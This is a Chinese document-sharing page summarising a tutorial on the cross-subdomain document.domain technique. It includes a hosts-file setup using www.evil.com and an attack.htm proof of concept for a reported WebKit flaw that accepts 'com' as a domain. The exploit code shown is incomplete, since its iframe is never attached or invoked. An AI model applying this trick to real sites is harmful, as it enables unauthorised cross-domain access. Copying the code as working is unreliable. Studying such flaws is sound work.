Web前端黑客技术揭秘:跨子域document.domain技巧
需积分: 0 43 浏览量
更新于2024-08-05
收藏 304KB PDF 举报
Web前端黑客技术揭秘之跨子域document.domain技巧
跨子域是指在不同的子域名下共享资源或实现通信的技术。document.domain技巧是浏览器提供的一种机制,允许开发者在不同的子域名下共享资源或实现跨域通信。该技巧的原理是通过设置document.domain属性来指定当前域或更高级的域,从而实现跨子域访问。
在现代Web应用中,许多网站都会将不同的子业务放到不同的子域名下,例如www.foo.com、app.foo.com、blog.foo.com、message.foo.com等。这些子域名下通常都会存在一个proxy.html文件,该文件中包含了一个script标签,用于设置document.domain属性,例如:<script>document.domain="foo.com";</script>。这段代码将当前域设置为foo.com,从而允许当前页面访问foo.com域下的资源。
然而,浏览器对document.domain属性的设置有一定的限制。根据浏览器的安全策略,document.domain属性只能被设置为当前域或更高级的域。如果试图设置document.domain为其他域,浏览器将报权限错误。
在WebKit内核浏览器中,有一个缺陷(由sog1发现),该缺陷允许开发者将document.domain属性设置为顶级域的后缀,例如com。利用这个缺陷,可以实现跨子域访问。
下面是一个实例,演示如何利用这个缺陷实现跨子域访问:
首先,创建一个readme.txt文件,内容如下:
```
设置hosts:
127.0.0.1 www.evil.com
127.0.0.1 user.proxy.com
```
然后,创建一个attack.htm文件,内容如下:
```
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
</head>
<body>
<script>
document.domain="com";//设置域为WebKit认为的顶级域
function inj_iframe(src,onload){
/* 注入框架 */
var o=document.createElement("iframe");
o.src=src;
o.width=o.height=300;
o.id="proxy";
if(onload)o.onload=onload;//iframe加载完成后执行onload函数
}
</script>
</body>
</html>
```
在WebKit内核浏览器中,访问http://www.evil.com/proxy/attack.htm将会触发该缺陷,从而实现跨子域访问。
跨子域document.domain技巧是浏览器提供的一种机制,允许开发者在不同的子域名下共享资源或实现跨域通信。然而,浏览器对document.domain属性的设置有一定的限制,开发者需要遵守这些限制以避免权限错误。同时,WebKit内核浏览器中的缺陷也可以被利用来实现跨子域访问。
2023-02-20 上传
2020-06-06 上传
2021-04-17 上传
2022-08-29 上传
2021-01-15 上传
2022-05-09 上传
2020-06-25 上传
2010-07-25 上传
图像车间
- 粉丝: 37
- 资源: 296
最新资源
- 掌握Jive for Android SDK:示例应用的使用指南
- Python中的贝叶斯建模与概率编程指南
- 自动化NBA球员统计分析与电子邮件报告工具
- 下载安卓购物经理带源代码完整项目
- 图片压缩包中的内容解密
- C++基础教程视频-数据类型与运算符详解
- 探索Java中的曼德布罗图形绘制
- VTK9.3.0 64位SDK包发布,图像处理开发利器
- 自导向运载平台的行业设计方案解读
- 自定义 Datadog 代理检查:Python 实现与应用
- 基于Python实现的商品推荐系统源码与项目说明
- PMing繁体版字体下载,设计师必备素材
- 软件工程餐厅项目存储库:Java语言实践
- 康佳LED55R6000U电视机固件升级指南
- Sublime Text状态栏插件:ShowOpenFiles功能详解
- 一站式部署thinksns社交系统,小白轻松上手